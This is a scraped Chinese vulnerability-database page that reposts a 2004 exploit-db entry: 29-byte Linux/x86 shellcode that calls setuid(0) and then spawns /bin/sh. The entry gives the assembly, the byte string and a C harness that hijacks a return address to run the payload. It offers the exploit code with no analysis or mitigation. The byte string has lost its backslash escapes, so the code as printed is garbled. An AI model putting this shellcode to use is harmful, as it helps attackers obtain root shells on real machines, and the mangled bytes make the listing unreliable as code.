Linux/x86 – execve(/bin/sh) Shellcode (29 bytes)

Linux/x86 – execve(/bin/sh) Shellcode (29 bytes)

漏洞ID 1054612 漏洞类型
发布时间 2004-09-12 更新时间 2004-09-12
图片[1]-Linux/x86 – execve(/bin/sh) Shellcode (29 bytes)-安全小百科CVE编号 N/A
图片[2]-Linux/x86 – execve(/bin/sh) Shellcode (29 bytes)-安全小百科CNNVD-ID N/A
漏洞平台 Linux_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/13443
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/* 
  (c)1999-2003 Shellcode Research 
      http://www.shellcode.com.ar

   execve(/bin/sh) for linux x86
   29 bytes
   by Matias Sedalo

        xorl    %ebx, %ebx
        pushl   %ebx
        leal    0x17(%ebx),%eax
        int     $0x80
        cdq
        pushl   $0x68732f6e
        pushl   $0x69622f2f
        movl    %esp, %ebx
        pushl   %eax
        pushl   %ebx
        movl    %esp, %ecx
        movb    $0xb, %al
        int     $0x80
*/


char shellcode[] =
"x31xdbx53x8dx43x17xcdx80x99x68x6ex2fx73x68x68"
"x2fx2fx62x69x89xe3x50x53x89xe1xb0x0bxcdx80";

main() 
{
        int *ret;
        ret=(int *)&ret +2;
        printf("Shellcode lenght=%dn",strlen(shellcode));
        (*ret) = (int)shellcode;
}

// milw0rm.com [2004-09-12]

相关推荐: nCipher PKCS#11 Implementation Access Control Vulnerability

nCipher PKCS#11 Implementation Access Control Vulnerability 漏洞ID 1101130 漏洞类型 Access Validation Error 发布时间 2002-12-20 更新时间 2002-12…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享